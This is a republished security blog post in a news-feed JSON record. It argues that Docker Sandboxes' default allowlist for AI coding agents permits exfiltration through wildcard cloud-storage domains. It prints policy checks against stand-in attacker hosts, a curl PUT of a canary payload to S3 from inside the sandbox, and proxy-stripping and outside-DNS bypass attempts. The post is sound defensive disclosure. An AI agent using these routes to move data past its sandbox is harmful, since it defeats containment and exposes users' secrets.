{"slug": "simple-security-flaw-in-agentic-coding-techniques", "title": "Simple Security Flaw in “Agentic Coding Techniques”", "summary": "A security analysis of Docker Sandboxes v0.37.1 reveals that the default 'Balanced' network profile allows egress to any subdomain of wildcard domains like *.amazonaws.com, *.githubusercontent.com, and *.blob.core.windows.net, enabling potential data exfiltration from AI coding agents. The flaw was identified by a security researcher who tested the policy engine and demonstrated that a payload could be sent to an S3 bucket, bypassing the intended domain allowlist. This undermines the safety claims of agentic coding techniques that rely on Docker sandboxes for network isolation.", "body_md": "Micah Lee published a guide to [running coding agents in YOLO mode without wrecking your machine](https://micahflee.com/agentic-coding-techniques/).\n\nI read through the safety bits and it all rests on Docker Sandboxes, a microVM that proxies all sandbox egress through a default host-side allowlist. He describes the network control in one line.\n\nAll network access is proxied through the host with a firewall of allowed domains. By default it only allows common coding domains for services like GitHub, NPM, PyPi, etc., but you can restrict it or open it up as much as you want, per-sandbox.\n\nA firewall of allowed domains. *Record scratch.* I have been on my “it’s the basics” soapbox a lot lately, because of exactly this. The entire trust boundary between a prompt-injected agent and the open internet is “allowed domains”.\n\nOk, ok, let’s do this. I grabbed the defaults from Docker, because that’s what the blog post implies, and I asked it what it permits.\n\nThis is Docker Sandboxes v0.37.1, the default *Balanced* network profile, on Ubuntu Linux with KVM. Balanced is described in the setup wizard as default-deny with common dev sites allowed. It is not a weakened configuration. It is the one Micah’s readers will get out of the box, per his instructions.\n\n*The allowlist is… all the clouds*\n\nThe policy engine easily answers, using the daemon’s authorizer, whether we can egress. I don’t need to run packet tests because it evaluates the same authorizer used by network enforcement, as stated in the help pages.\n\n```\nsbx policy check network 1.1.1.1:443\n  Denied: 1.1.1.1:443\n  Reason: no matching allow rule (default deny)\n\nsbx policy check network 169.254.169.254:80\n  Denied: 169.254.169.254:80\n  Reason: no matching allow rule (default deny)\n```\n\nThose denied statements looked so good. The raw IP is denied. The link-local metadata endpoint is denied. These are the bypasses the usual researchers warn about, and Docker closed them.\n\n```\nsbx policy check network evil.s3.amazonaws.com:443\n  Allowed: evil.s3.amazonaws.com:443\n\nsbx policy check network raw.githubusercontent.com:443\n  Allowed: raw.githubusercontent.com:443\n\nsbx policy check network attacker.blob.core.windows.net:443\n  Allowed: attacker.blob.core.windows.net:443\n```\n\nThose allowed statements are NOT GOOD. Three hostnames an attacker fully controls are allowed, because the Balanced policy grants ***.amazonaws.com*, ***.githubusercontent.com*, and ***.blob.core.windows.net* as wildcards.\n\n*Any subdomain.\nAny bucket.\nAny tenant.\nAny time.*\n\nA domain allowlist means the possession of a matching name proves the endpoint is trusted. But this is public, ephemeral namespace, a classic threat surface.\n\nAmazon does not own the contents of *your-bucket.s3.amazonaws.com*. You do, or an attacker does, for the price of nothing, because it’s free. The allowlist grants the suffix and the attacker rents the leaf, which means egress is a LOT MORE OPEN than an allowlist implies.\n\n**Enforcement versus declaration**\n\nThe authorizer revealed the policy flaw. Next I wanted the sandbox to fail. So I cleared an unrelated mount-policy default, launched a shell inside the microVM, and pushed a payload to an S3 path.\n\n```\ncurl -X PUT --data 'exfil-canary-payload' \\\n  https://s3.amazonaws.com/some-bucket/canary\n  -> 403, reached AWS (fd0f:1b99:17b0::)\n```\n\nThe 403 is S3 reached, rejecting the bucket credentials. The request left the sandbox, crossed the proxy, and AWS answered. Honestly, I was hoping for a 418, but maybe another day. The point is Docker allowed it. Point that PUT at a bucket the attacker controls and only bucket credentials (NOT Docker’s egress control) sit between a payload and write-level authorization.\n\nThat is exfiltration to a sanctioned endpoint, live, through *the front door*. That “agentic safety” blog post has a front door problem.\n\nThe block is enforced, just to be clear. At the network layer it killed my raw IP at the proxy even with the proxy environment variables stripped.\n\n```\nenv -u HTTP_PROXY -u HTTPS_PROXY -u http_proxy -u https_proxy \\\n  curl -s -o /dev/null -w '%{http_code}\\n' https://1.1.1.1/\n  -> 000  (curl exit 35, TLS teardown)\n```\n\nThe DNS-tunnel channel was also blocked. The sandbox cannot reach an arbitrary resolver.\n\n```\nenv -u HTTP_PROXY -u HTTPS_PROXY -u http_proxy -u https_proxy \\\n  dig +short @8.8.8.8 canary.example.com\n  -> connection refused  (dig exit 9)\n```\n\nSo we can see the block working with a default-deny. Raw IP blocked at the network layer. Rebinding-resistant. DNS pinned to the proxy resolver. Docker was headed on the right path.\n\nThen the allowlist was filled with “get developers working fast” multi-tenant cloud suffixes so broad you could drive a lot of agents through it. That kind of allowlist is the thing that gives allowlists a bad name.\n\n**Cloudflare as a caution**\n\nThe Balanced policy contains one particular entry that stood out. Cloudflare R2. Unlike the others, it is not a wildcard. It is a single full hostname, *docker-images-prod.[hash].r2.cloudflarestorage.com*, the exact bucket Docker uses to serve its own images. Query the authorizer about another host on the same suffix.\n\n```\nsbx policy check network attacker.r2.cloudflarestorage.com:443\n  Denied: attacker.r2.cloudflarestorage.com:443\n  Reason: no matching allow rule (default deny)\n```\n\nDenied, as expected.\n\nR2 was pinned to the one bucket that needed reaching, while S3, Azure Blob, Google Cloud Storage, and Vercel Blob were granted by wildcard. The tight rule proves narrow scoping was available and understood. Whoever wrote the R2 entry knew a cloud suffix is not a trust boundary, applied that to the bucket Docker itself depends on, and left the rest open.\n\n**Agentic safety needs a certification**\n\nMicah’s setup ran the tool as documented and trusted the allowlist as advertised. That actually pains me to see, because it’s unsafe in a blog post about safety of agents.\n\nA microVM egress proxy that blocks raw IPs, metadata, and DNS tunneling gives the impression of safety, while using an allowlist built from shared-tenancy clouds. The one threat the sandbox exists to contain is an agent that has been told to send your secrets somewhere, and then the allowlist blows away the whole premise.\n\nThe default is not safe for the threat model advertised. The sandbox launches. The steps execute as written. What fails is the “agentic coding techniques” security conclusion as presented.", "url": "https://wpnews.pro/news/simple-security-flaw-in-agentic-coding-techniques", "canonical_source": "https://www.flyingpenguin.com/simple-security-flaw-in-agentic-coding-techniques/", "published_at": "2026-08-03 22:39:50+00:00", "updated_at": "2026-08-03 23:03:32.620301+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-infrastructure"], "entities": ["Docker Sandboxes", "Micah Lee", "Amazon S3", "GitHub", "Azure Blob Storage"], "alternates": {"html": "https://wpnews.pro/news/simple-security-flaw-in-agentic-coding-techniques", "markdown": "https://wpnews.pro/news/simple-security-flaw-in-agentic-coding-techniques.md", "text": "https://wpnews.pro/news/simple-security-flaw-in-agentic-coding-techniques.txt", "jsonld": "https://wpnews.pro/news/simple-security-flaw-in-agentic-coding-techniques.jsonld"}}